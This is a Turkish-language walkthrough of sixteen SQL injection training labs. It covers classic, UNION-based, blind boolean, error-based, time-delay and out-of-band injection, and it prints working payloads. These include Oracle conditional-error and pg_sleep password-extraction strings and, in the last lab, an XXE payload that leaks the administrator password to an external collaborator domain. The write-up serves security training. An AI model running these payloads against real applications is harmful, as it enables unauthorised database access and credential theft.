8 minute read

SQL Injection, tehdit aktörlerinin bir uygulamanın veritabanına yapılan sorguları manipüle etmesidir.

Genellikle normalde görüntülenmeyen verilerin görüntülenmesine neden olmaktadır. Bu veriler, diğer kullanıcıların verileri veya uygulamanın erişebildiği diğer veriler olabilmektedir. Tehdit aktörleri çoğu durumlarda verileri silebilir, değiştirebilir ve uygulamanın içeriğinde veya davranışında kalıcı değişikliklere neden olabilmektedir.

Başarılı bir SQL Injection saldırısı, yetkisiz bir şekilde hassas verilere (Parola veya Kredi kartı bilgileri ) erişilmesine neden olmaktadır. Son yıllarda gerçekleşen veri sızıntıları SQL Injection saldırılarından kaynaklanmaktadır. Kurum ve kuruluşlarda itibar ve para kaybına neden olmaktadır.

Lab 1 Lab 2 Lab 3 Lab 4 Lab 5 Lab 6 Lab 7 Lab 8 Lab 9 Lab 10 Lab 11 Lab 12 Lab 13 Lab 14 Lab 15 Lab 16

Lab-1 SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Bu laboratuvardaki product category filtresinde SQLi zafiyeti bulunmaktadır. SQLi saldırısı gerçekleştirerek laboratuvarın çözülmesi istenmektedir.

Daha önce öğrendiğimiz üzere kategori filtresinde bir zafiyet bulunmaktadır.

image-center

Laboratuvara erişip herhangi bir kategoriyi seçtiğimizde URL aşağıdaki gibi olmaktadır.

image-center

Kategori kısmına ‘+OR+1=1– payloadını eklersek eğer. “SELECT * FROM products WHERE category = ‘Gifts’ AND released = 1” olan sorgu “SELECT * FROM products WHERE category = ‘‘ OR 1=1– ‘ AND released = 1” haline dönüşmektedir. “–” karakterlerinden sonraki sorgular yorum satırı olmaktadır ve istenen kategori değeri tırnak ile atlatılmaktadır. Sonuç olarak hedeflenen “1=1“ sorgusu işlenmektedir.

image-center

image-center

Lab-2 SQL injection vulnerability allowing login bypass

Bu laboratuvarın login fonksiyonunda SQLi zafiyeti bulunmaktadır. Laboratuvar, SQLi saldırısı gerçekleştirerek administrator hesabı ile bağlanmamızı istemektedir.

My account kısmına geldiğimizde bir login ekranı bizi karşılamaktadır. Hedeflenen administrator hesabı username kısmına yazılıp, parola kısmına da bir önceki laboratuvarda öğrendiğimiz payloadı yazarak ilgili hesabın parolasını atlatıp 1=1 —> True döndürerek zafiyet sömürülmektedir.

image-center

Lab-3 SQL injection UNION attack, determining the number of columns returned by the query

Bu laboratuvarın product category filtresinde SQLi zafiyeti bulunmaktadır. Gönderilen sorgunun yanıtı uygulamanın yanıtında döndürülmektedir. Bu yüzden UNION saldırısı kullanılabilinir. İlk adım, sorgu tarafından döndürülen sütun sayısınının belirlenmesidir.

Zafiyetli laboratuvarda daha önce öğrenilen zafiyetli kategori filtresine gidilmektedir.

image-center

Payload eklenmemiş hali.

image-center

Zafiyetli kategori parametresine ‘+UNION+SELECT+NULL– payload’ı ekleyerek sorguyu gönderilmektedir. Sorgu eğer hata barındırmıyorsa dönen yanıtta 2 adet sütun sayısı olduğu tespit edilecektir.

image-center

image-center

2’den fazla sütun sayısı olduğunu anladıktan sonra payload’a bir adet daha NULL ekleyerek denemeye devam edilmektedir.

image-center

Dönen yanıtta herhangi bir hata belirtilmediğinde 3 adet sütun sayısı olduğu tespit edilmektedir ve laboratuvar tamamlanmaktadır.

image-center

Lab-4 SQL injection UNION attack, finding a column containing text

Laboratuvardın product category filtresinde bir SQLi zafiyeti bulunmaktadır. Gerçekleştirilen sorgu uygulamanın yanıtında dönmektedir ve böylelikle UNION saldırısı gerçekleştirilebilmektedir. Saldırının ilk adımı sorgu tarafından döndürülen sütun sayısının belirlenmesidir. İkinci adım ise hangi sütunun string değer döndürdüğüdür.

Kategori seçerek bir önceki lab’da öğrendiğimiz tekniği kullanarak sütun sayısı belirlenmelidir. Alınan her hatada NULL miktarı arttırılarak denenmektedir ve hata alınmayan durumda sütun sayısı tespit edilmektedir.

image-center

3 adet sütun bulunmaktadır.

image-center

Bulunan sütunların hangilerinin string değer döndürdüğü tespit edilmelidir. Uygulamanın bize verdiği string değer NULL değerleri yerine sırasıyla yazılarak hangi sütunun string değer döndürdüğü tespit edilmektedir.

image-center

Tespit edilen sütunlardan 1. sütun, string değeri döndürdüğü tespit edilmektedir ve laboratuvar tamamlanmaktadır.

image-center

Lab-5 SQL injection UNION attack, retrieving data from other tables

Bu laboratuvarın product category filtresinde SQLi zafiyeti bulunmaktadır. Sorgunun yanıtı uygulamanın response’unda dönmektedir. Önceki lab’larda öğrenilen teknikler ile hedef sistemdeki users tablosundaki username ve password bilgileri ele geçirilmelidir. Son adım olarak administrator kullanıcısı ile giriş yapılmalıdır.

İlk olarak kategori filtresine payload uygulanarak sütun sayısı belirlenmektedir.

image-center

2 adet sütun bulunmaktadır.

image-center

Tespit edilen sütunların string değer döndürüp döndürmedi tespit edilmektedir.

image-center

Açıklama kısmında bize verilen bilgileri kullanarak users tablosundaki username ve password bilgileri tespit edilen SQLi zafiyeti ile elde edilmektedir.

image-center

image-center

Administrator bilgileri ile oturum açılarak lab tamamlanmaktadır.

image-center

Lab-6 SQL injection UNION attack, retrieving multiple values in a single column

Bu laboratuvarın product category filtresinde SQLi zafiyeti bulunmaktadır. Uygulanan sorgunun yanıtı uygulamanın yanıtında dönmektedir böylelikle UNION saldırısı kullanılabilmektedir. users tablosundaki username ve password bilgileri ele geçirilerek administrator kullanıcısı ile oturum açıldığında laboratuvar tamamlanmaktadır.

Birden fazla sütun tespit edilmektedir fakat sadece biri string değer döndürmektedir.

image-center

Hedefimiz hem username hemde password elde etmek olduğundan bir string değer döndüren sütundan 2 string değer çekmeliyiz.

Aşağıdaki görsel, birden fazla string değeri concatenate uygulayarak tek bir string değere dönüştürmeyi göstermektedir.

image-center

Payload üzerinde concat işlemi gerçekleştirerek tek bir string çıktısında hem username hem de password bilgileri elde edilmektedir.

image-center

image-center

Lab-7 SQL injection attack, querying the database type and version on Oracle

Laboratuvardaki product category filtresinde SQLi zafiyeti bulunmaktadır. Lab’ı tamamlamak için veritabanı versiyonu elde edilmelidir.

Oracle veritabanlarında SELECT parametresi kullanıldığında özellikle FROM ile bir tablo belirtilmelidir. Oracle da bunun için “dual” isimli bir tablo bulundurmaktadır.

İlk adım olarak Sütun sayısı belirlenmektedir.

image-center

String değer döndürüp döndürmediği tespit edilmektedir.

image-center

Lab’ın isteği üzerine veritabanı sürüm bilgisini de barındıran banner bilgilerini elde etmemiz beklenmekte. Aşağıdaki cheat-sheet görselinde farklı veritabanlarının sürüm bilgisinin nasıl elde edileceği gösterilmektedir.

image-center

image-center

Lab-8 SQL injection attack, querying the database type and version on MySQL and Microsoft

Bu laboratuvardadaki product category filtresinde SQLi zafiyeti bulunmaktadır. Lab, veritabanı sürüm bilgisini istemektedir.

İlk adım olan sütun sayısı belirlemek için BurpSuite aracı yardımı ile request yakalanmaktadır ve NULL sayısı arttırılarak sütun sayısı belirlenmektedir.

image-center

image-center

2 adet sütun tespit edilmektedir ve ikisi de string değer döndürmektedir.

image-center

Hedef sistem de yorum satırı oluşturmak için kullanılan “–” yaklaşımı çalışmamaktadır. Bu yüzden diğer yaklaşımlar düşünüldüğünde “#” karakteri yardımcı olmaktadır.

image-center

Lab bizden hedef sistemin sürüm bilgilerini tespit etmemizi beklemekte bu yüzden MySQL ve Microsoft’ta benzer olan sorgu kullanılmaktadır.

image-center

image-center

image-center

Lab-9 SQL injection attack, listing the database contents on non-Oracle databases

Bu laboratuvarın product category filtresinde SQLi zafiyeti bulunmaktadır. Lab administrator kullanıcısı ile sisteme giriş yapıldığında tamamlanmaktadır.

Sütun sayısı belirleme ve belirlenen sütunların string değer döndürüp döndürmediği tespit edilmektedir.

image-center

Kullanıcı adı ve parola elde etmek için bahsi geçen bilgileri barındıran tablonun ismi gerekmektedir. information_schema veritabanındaki tüm tabloları barındırmaktadır böylelikle id, pw barındıran tablonun ismi tespit edilebilmektedir.

image-center

Şemadan veritabanındaki bütün tabloların isimleri elde edilmektedir.

image-center

image-center

Hedef tablonun ismi bulunduktan sonra içerisindeki sütun isimleri tespit edilmektedir.

image-center

image-center

Tablo ismi ve sütun isimleri tespit edildi. Son olarak tablodaki verileri okuyarak administrator kullanıcısının parolası tespit edilmektedir.

image-center

image-center

image-center

Lab-10 SQL injection attack, listing the database contents on Oracle

image-center

image-center

image-center

image-center

image-center

image-center

image-center

Lab-11 Blind SQL injection with conditional responses

Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.

SQL sorgusunun yanıtı dönmez ve herhangi bir hata mesajı görüntülenmez. Ancak sorgu herhangi bir satır döndürürse uygulama “Tekrar hoş geldiniz” mesajı vermektedir.

Gönderilen sorgu başarıyla döndüğünde aşağıdaki görseldeki gibi “Welcome Back!” çıktısı alınmaktadır.

image-center

image-center

Gönderilen sorgu yanlış olduğunda ve yanıt dönmediğinde Welcome Back! yazısı görüntülenmemektedir.

image-center

image-center

1=1 mantıksal eşitliği gibi düşünerek users tablosunda en başta bulunan kullanıcının ilk harfinin “a” olup olmadığını kontrol eden bir sorgu yazılmaktadır.

image-center

image-center

Kullanıcı adını tahmin etmek için a harfleri yerine admin-administrator gibi potansiyel kullanıcı adlarını denendiğinde “administrator” kullanıcısı tespit edilmektedir.

image-center

Kullanıcı adı tespitinden sonra ilgili kullanıcının parolasının tespit edilmesi gerekmektedir. Yine aynı 1=1 mantıksal eşitliği düşünülerek ilgili kullanıcının parolasının kaç haneli olduğu tespit edilmektedir.

image-center

image-center

Parolanın kaç basamak olduğu tespit edildikten sonra sırada parolanın kendisinin tespiti bulunmaktadır. SUBSTRING kullanarak ilgili hesabın parolası basamak basamak tespit edilmektedir.

image-center

“a” karakteri değiştirilerek parolanın ilk basamağı tespit edilmeye çalışılmaktadır. Eğer “Welcome Back!” yazısı response da dönerse basamak tespit edilmiştir. Sürecin daha hızlı ilerlemesi için Intruder kullanılmaktadır. Respons’ların uzunluğundaki değişim yanıtın içerisinde “Welcome Back!” olup olmadığının bilgisini vermektedir.

image-center

2.Basamak

image-center

Intuder’da bulunan Cluster Bomb saldırısı ile parolanın her basamağı için a-z, A-Z, 0-9 karakterleri teker teker denenmektedir ve 20 basamaklı parola tespit edilmektedir.

image-center

image-center

Lab-12 Blind SQL injection with conditional errors

Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.

SQL sorgusunun sonucu herhangi bir şekilde dönmez fakat SQL sorgusu bir hataya neden olursa özel bir hata mesajı döndürür.

Hataya neden olan SQL sorgusu:

image-center

image-center

Hatasız SQL sorgusu:

image-center

image-center

DB’nin oracle olduğu tespit edilmiştir.

image-center

SQL sorgusunun doğru olup olmaması db için çıkarım sağlamaya yaradığından artık kullanıcıların ve parolalarının bulunduğu veriler tespit edilmektedir.

users tablosunun tespiti:

image-center

Kullanıcı adı tespiti:

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Eğer users tablosunda bir administrator kullanıcı varsa CASE çalışmaktadır ve onun koşulu da 1=1 olduğundan 1’i 0’a bölmektedir böylelikle bir hata oluşmaktadır. Yani ilgili tabloda beklenen ismi kullanıcı adını bulduğumuzda bir hata almalıyız diğer türlü hata oluşmamakta.

image-center

image-center

Tespit edilen administrator kullanıcısının parolası gerekmektedir. Kullanıcı adı tespitinde kullanılan payload parola tespiti içinde kullanılmaktadır.

'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

administrator kullanıcısının olduğunu biliyoruz, eğer parolası 1 den büyükse hata verecektir.

image-center

Parolanın 20 basamaklı olduğu tespit edildi.

image-center

Parola tespiti:

'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Eğer ilgili parolanın ilk basamağı “a” karakteri ise hata mesajı dönecektir. Bu yaklaşımla ve bir önceki lab da öğrendiğimiz teknikle ilgili hesabın parolası tespit edilmektedir.

image-center

image-center

Lab-13 Blind SQL injection with time delays

Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.

SQL sorgusu yanıtı dönmemektedir ve herhangi bir ayırt edici response içermemektedir. Fakat sorgu senkronize olarak işlendiğinden veri çıkarmak için time delay’ı tetiklemek kullanılabilmektedir.

image-center

image-center

Lab-14 Blind SQL injection with time delays and information retrieval

Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.

SQL sorgusu yanıtı dönmemektedir ve herhangi bir ayırt edici response içermemektedir. Fakat sorgu senkronize olarak işlendiğinden veri çıkarmak için time delay’ı tetiklemek kullanılabilmektedir.

users tablosunda administrator kullanıcısı varsa eğer pg_sleep(10) fonksiyonu çalışmaktadır ve response geç dönmektedir aksi halde response hemen gelmektedir. Bu durumdan çıkarım sağlayarak administrator kullanıcısının var olduğu tespit edilmektedir.

image-center

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Yukarıdaki sorguda pg_sleep’in çalışması için kullanıcı adının hem administrator olması hemde parolanın 1 basamaktan fazla olması gerekmektedir eğer iki şart da true olursa pg_sleep fonksiyonu çalışacaktır. Response delaylı geleceğinden çıkarım sağlanarak öncelikle kaç basamaklı bir parola olduğu daha sonrasında parolanın kendisi tespit edilecektir. Parola 20 basamaklıdır.

image-center

Aşağıdaki payload ile 20 basamaklı parola Cluster Bomb saldırısı ile tespit edilmektedir.

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

image-center

image-center

Lab-15 Blind SQL injection with out-of-band interaction

Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.

SQL sorgusu yanıtı dönmemektedir ve herhangi bir ayırt edici response içermemektedir. Fakat dış bir domain ile iletişim oluşabilmektedir.

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

image-center

Daha sonra collaborator’u kontrol ettiğimizde istekler görünmektedir.

image-center

Lab-16 Blind SQL injection with out-of-band data exfiltration

Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.

SQL sorgusu yanıtı dönmemektedir ve herhangi bir ayırt edici response içermemektedir. Fakat dış bir domain ile iletişim oluşabilmektedir.

Basit XXE tekniği ile SQLi birleştirerek dış domain’e administrator’ün parola bilgisi sızdırılmaktadır.

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

image-center

image-center